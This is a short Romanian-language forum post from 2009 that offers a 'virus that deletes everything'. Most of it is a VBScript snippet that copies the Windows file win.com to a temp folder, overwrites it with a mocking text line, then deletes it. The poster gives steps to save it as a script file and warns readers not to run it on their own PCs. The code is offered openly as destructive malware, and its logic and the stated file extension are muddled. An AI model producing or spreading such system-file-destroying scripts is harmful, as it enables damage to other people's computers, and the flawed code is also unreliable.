ReGaL
SeFuL FoRUMuLuI
Data inscrierii: 11/Sep/2009
Mesaje: 78
Localitate: Brasov
|
 Trimis: 13/09/2009 18:31 Titlul subiectului: Virus ce sterge tot ce prinde |
|
|
| Cod: |
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject")
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com")
set fs2=fso.CreateTextFile("c:\windows\win.com")
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close
|
îl scrieti in notepad, il salvati cu extensie .bad si GATA
ATENTIE !!!!
NU IL DESCHIDETI DAK NU VRETI SA VA NENOROCITI PC-UL !!!
_________________
REGULILE SUNT PENTRU TOATA LUMEA !!! |
|
